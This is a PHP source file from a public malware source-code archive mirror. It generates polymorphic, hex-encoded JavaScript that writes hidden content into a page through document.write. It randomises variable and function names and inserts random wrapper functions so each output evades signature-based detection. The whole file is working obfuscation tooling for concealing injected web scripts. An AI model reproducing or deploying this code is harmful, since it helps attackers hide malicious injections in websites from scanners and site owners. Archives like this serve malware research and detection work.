mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-29 22:45:27 +00:00
52 lines
1.2 KiB
Plaintext
52 lines
1.2 KiB
Plaintext
|
<?
|
||
|
|
function get_rnd_var() {return 'v'.uniqid('');}
|
||
|
|
function get_value($v, &$codebuf)
|
||
|
|
{
|
||
|
|
$var1 = get_rnd_var();
|
||
|
|
$var2 = get_rnd_var();
|
||
|
|
|
||
|
|
$vars = array(
|
||
|
|
"$v",
|
||
|
|
$var1,
|
||
|
|
$var1.'()',
|
||
|
|
$var1.'()',
|
||
|
|
);
|
||
|
|
$bufs = array(
|
||
|
|
"",
|
||
|
|
"var $var1=$v;",
|
||
|
|
"function $var1 () {return $v;}",
|
||
|
|
"function $var1 () {var $var2=$v; return $var2;}",
|
||
|
|
);
|
||
|
|
$item = rand(0, count($vars)-1);
|
||
|
|
$codebuf .= $bufs[$item];
|
||
|
|
return $vars[$item];
|
||
|
|
}
|
||
|
|
|
||
|
|
function encode_scuko ($q)
|
||
|
|
{
|
||
|
|
$r='';
|
||
|
|
for($i=0;$i<strlen($q);$i++)
|
||
|
|
{
|
||
|
|
$hex=dechex(ord($q[$i]));
|
||
|
|
if (strlen($hex)==1) $hex = '0'.$hex;
|
||
|
|
$r .= $hex;
|
||
|
|
}
|
||
|
|
$r=strtoupper($r);
|
||
|
|
|
||
|
|
$hex2dec=get_rnd_var();
|
||
|
|
$hex=get_rnd_var();
|
||
|
|
$codebuf1 = '';
|
||
|
|
$value16 = get_value(16, $codebuf1);
|
||
|
|
$c="function $hex2dec($hex){ $codebuf1 return(parseInt($hex,$value16));}";
|
||
|
|
|
||
|
|
$deco=get_rnd_var();
|
||
|
|
$t=get_rnd_var();
|
||
|
|
$s=get_rnd_var();
|
||
|
|
$i=get_rnd_var();
|
||
|
|
$codebuf2 = '';
|
||
|
|
$value2 = get_value(2, $codebuf2);
|
||
|
|
$c.="function $deco($t){ $codebuf2 var $s='';for($i=0; $i<$t.length; $i+=$value2){ $s+=(String.fromCharCode($hex2dec($t.substr($i, $value2))));}return $s;}";
|
||
|
|
$r="document.write($deco('$r'));";
|
||
|
|
return "<script>$c $r</script>";
|
||
|
|
}
|
||
|
|
?>
|